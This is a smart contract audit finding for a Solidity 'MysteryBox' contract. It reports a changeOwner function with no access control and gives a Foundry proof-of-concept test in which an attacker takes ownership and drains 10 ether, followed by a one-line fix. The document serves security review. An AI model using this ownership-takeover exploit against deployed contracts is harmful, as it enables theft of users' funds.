Summary
Lack of access control in changeOwnerfunction allows anyone to take control over the protocol.
Vulnerability Details
https://github.com/Cyfrin/2024-09-mystery-box/blob/main/src/MysteryBox.sol#L111-L113
function changeOwner(address _newOwner) public {
owner = _newOwner;
}
changeOwner function is meant to be transfer ownership by current owner. However lack of access control in this function allows anyone to take control of it.
This will cause whole protocol at risk and owner control most of parameters.
POC
Add the following test in existing test suite, also we have to update setup too, that has an issue.
function setUp() public {
owner = makeAddr("owner");
user1 = address(0x1);
user2 = address(0x2);
vm.prank(owner);
+ vm.deal(owner, 1 ether);
- mysteryBox = new MysteryBox();
+ mysteryBox = new MysteryBox{value: 0.1 ether}();
console.log("Reward Pool Length:", mysteryBox.getRewardPool().length);
}
function testChangeOwner_AccessControl() public {
address attacker = address(0x6969);
console.log("Owner before attack:", mysteryBox.owner());
vm.prank(attacker);
mysteryBox.changeOwner(attacker);
assertEq(mysteryBox.owner(), attacker);
console.log("Owner After attack:", mysteryBox.owner());
vm.deal(address(mysteryBox), 10 ether);
console.log(
"Contract balance before attack:",
address(mysteryBox).balance
);
console.log("Attacker balance after attack:", attacker.balance);
vm.prank(attacker);
mysteryBox.withdrawFunds();
console.log(
"Contract balance after attack:",
address(mysteryBox).balance
);
console.log("Attacker balance after attack:", attacker.balance);
}
run forge testChangeOwner_AccessControl -vvin your terminal and it will show following output:
[⠊] Compiling...
[⠢] Compiling 1 files with Solc 0.8.26
[⠆] Solc 0.8.26 finished in 1.19s
Compiler run successful!
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testChangeOwner_AccessControl() (gas: 60896)
Logs:
Reward Pool Length: 4
Owner before attack: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
Owner After attack: 0x0000000000000000000000000000000000006969
Contract balance before attack: 10000000000000000000
Attacker balance after attack: 0
Contract balance after attack: 0
Attacker balance after attack: 10000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.20ms (103.63µs CPU time)
Ran 1 test suite in 152.33ms (1.20ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Critical.
As attacker can drain protocol funds, that were meant to be distributed among users as per mystery box setting
Tools Used
Manual Review
Recommendations
A require statement like other access control function can be added to this one as well.
function changeOwner(address _newOwner) public {
+ require(msg.sender == owner, "Only owner can transfer ownership");
owner = _newOwner;
}
